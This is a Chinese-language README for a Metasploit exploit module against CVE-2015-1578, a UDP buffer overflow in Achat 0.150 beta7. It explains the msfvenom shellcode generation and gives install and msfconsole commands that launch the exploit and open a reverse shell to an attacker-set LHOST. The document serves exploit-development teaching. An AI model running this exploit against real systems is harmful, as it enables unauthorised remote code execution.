CVE-2015-1578 Metasploit 模块

概述

这是针对 CVE-2015-1578 的一个 Metasploit 模块，该漏洞是 Windows 上 Achat 0.150 beta7 中的一个缓冲区溢出漏洞。利用该漏洞可通过特制的 UDP 数据包实现远程代码执行。

目的

本模块旨在作为 Metasploit 漏洞利用开发的一个简洁、最小且结构良好的示例。它演示了：

• 通过 msfvenom 动态生成 Unicode 编码的 shellcode
• 手动注入 payload（绕过 Metasploit 内部的 payload 编码器）
• 基于 UDP 的简单投递机制
• 使用自定义模块加载集成到 Metasploit 框架中

视频教程

依赖项

• Metasploit 框架
• 在 $PATH 中存在 msfvenom

功能特点

• 使用 msfvenom 生成带有 x86/unicode_mixed 编码和自定义坏字符的 payload
• 绕过 Metasploit 内置的 payload 编码系统，以规避编码器的限制

安装

./install.sh

然后启动 Metasploit 并运行：

reload_all
use exploit/windows/yaldobaoth/achat_bof

选项

• RHOSTS – 目标 IP 地址（必填）
• LHOST – 用于反向 Shell 的本地主机 IP（必填）
• LPORT – 反向 Shell 的本地端口（默认：4444）
• RPORT – 目标的远程 UDP 端口（默认：9256）

使用示例

msfconsole
use exploit/windows/yaldobaoth/achat_bof
set RHOSTS 10.10.10.74
set LHOST 10.10.16.7
set LPORT 9393
run

这将：

• 使用 msfvenom 生成一个兼容 Unicode 的反向 Shell payload
• 通过 UDP 将其注入到存在漏洞的 Achat 缓冲区中
• 在指定的 LHOST:LPORT 上监听 Shell